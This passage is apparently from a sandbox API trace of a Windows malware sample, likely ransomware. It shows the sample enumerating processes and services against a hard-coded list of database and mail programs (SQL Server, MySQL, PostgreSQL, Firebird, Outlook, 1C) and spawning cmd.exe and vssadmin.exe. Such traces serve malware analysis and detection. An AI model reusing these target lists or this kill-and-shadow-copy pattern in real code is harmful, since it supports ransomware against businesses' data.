(lpString="smss.exe") returned 8 [0055.611] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.611] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.611] lstrlenW (lpString="csrss.exe") returned 9 [0055.611] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.611] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.611] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.611] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.611] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.611] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.611] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.612] lstrlenW (lpString="wininit.exe") returned 11 [0055.612] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.612] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.612] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.612] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.613] lstrlenW (lpString="csrss.exe") returned 9 [0055.613] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.613] lstrlenW (lpString="winlogon.exe") returned 12 [0055.613] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.613] lstrlenW (lpString="services.exe") returned 12 [0055.614] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.614] lstrlenW (lpString="lsass.exe") returned 9 [0055.614] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.614] lstrlenW (lpString="lsm.exe") returned 7 [0055.614] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.615] lstrlenW (lpString="svchost.exe") returned 11 [0055.615] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.615] lstrlenW (lpString="svchost.exe") returned 11 [0055.615] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.616] lstrlenW (lpString="svchost.exe") returned 11 [0055.616] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.616] lstrlenW (lpString="svchost.exe") returned 11 [0055.616] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.617] lstrlenW (lpString="svchost.exe") returned 11 [0055.617] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.617] lstrlenW (lpString="audiodg.exe") returned 11 [0055.617] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.618] lstrlenW (lpString="svchost.exe") returned 11 [0055.618] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.618] lstrlenW (lpString="svchost.exe") returned 11 [0055.618] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.619] lstrlenW (lpString="dwm.exe") returned 7 [0055.619] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.619] lstrlenW (lpString="explorer.exe") returned 12 [0055.619] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.620] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.620] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.620] lstrlenW (lpString="taskhost.exe") returned 12 [0055.620] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.621] lstrlenW (lpString="svchost.exe") returned 11 [0055.621] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.621] lstrlenW (lpString="taskeng.exe") returned 11 [0055.621] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.622] lstrlenW (lpString="taskhost.exe") returned 12 [0055.622] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0055.622] lstrlenW (lpString="br_maintaining.exe") returned 18 [0055.622] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0055.623] lstrlenW (lpString="kitsenormous.exe") returned 16 [0055.623] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0055.623] lstrlenW (lpString="intermediate-components.exe") returned 27 [0055.623] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0055.624] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0055.624] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0055.624] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0055.624] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0055.625] lstrlenW (lpString="stupid.exe") returned 10 [0055.625] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0055.625] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0055.625] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0055.626] lstrlenW (lpString="addition.exe") returned 12 [0055.626] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0055.626] lstrlenW (lpString="kept retirement.exe") returned 19 [0055.626] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0055.627] lstrlenW (lpString="lmmold.exe") returned 10 [0055.627] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0055.627] lstrlenW (lpString="soma weighted.exe") returned 17 [0055.627] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0055.628] lstrlenW (lpString="cartridge donation.exe") returned 22 [0055.628] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0055.628] lstrlenW (lpString="anti.exe") returned 8 [0055.628] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0055.628] lstrlenW (lpString="cashiersshot.exe") returned 16 [0055.629] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0055.629] lstrlenW (lpString="poundfi.exe") returned 11 [0055.629] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0055.630] lstrlenW (lpString="conditions_hired.exe") returned 20 [0055.630] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0055.630] lstrlenW (lpString="mercedes.exe") returned 12 [0055.630] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0055.775] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0055.775] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0055.783] lstrlenW (lpString="training_wiring.exe") returned 19 [0055.784] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0055.793] lstrlenW (lpString="democratic.exe") returned 14 [0055.795] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0055.804] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0055.808] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0055.818] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0055.818] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0055.819] lstrlenW (lpString="documented.exe") returned 14 [0055.819] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.820] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.820] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0055.820] lstrlenW (lpString="n.exe") returned 5 [0055.820] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.821] lstrlenW (lpString="cmd.exe") returned 7 [0055.821] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.821] lstrlenW (lpString="conhost.exe") returned 11 [0055.821] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.822] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.822] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.822] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.822] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.823] lstrlenW (lpString="svchost.exe") returned 11 [0055.823] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.823] CloseHandle (hObject=0x20c) returned 1 [0055.823] Sleep (dwMilliseconds=0x1f4) [0056.399] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fed0 [0056.399] EnumServicesStatusExW (in: hSCManager=0x73fed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0056.399] GetLastError () returned 0xea [0056.399] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0056.400] EnumServicesStatusExW (in: hSCManager=0x73fed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0056.400] CloseServiceHandle (hSCObject=0x73fed0) returned 1 [0056.400] lstrlenW (lpString="Appinfo") returned 7 [0056.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.400] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.401] lstrlenW (lpString="AudioSrv") returned 8 [0056.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.401] lstrlenW (lpString="BFE") returned 3 [0056.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.401] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.401] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.401] lstrlenW (lpString="CryptSvc") returned 8 [0056.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.401] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.401] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.401] lstrlenW (lpString="CscService") returned 10 [0056.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.401] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.401] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.401] lstrlenW (lpString="DcomLaunch") returned 10 [0056.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.401] lstrlenW (lpString="Dhcp") returned 4 [0056.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.402] lstrlenW (lpString="Dnscache") returned 8 [0056.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.402] lstrlenW (lpString="DPS") returned 3 [0056.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 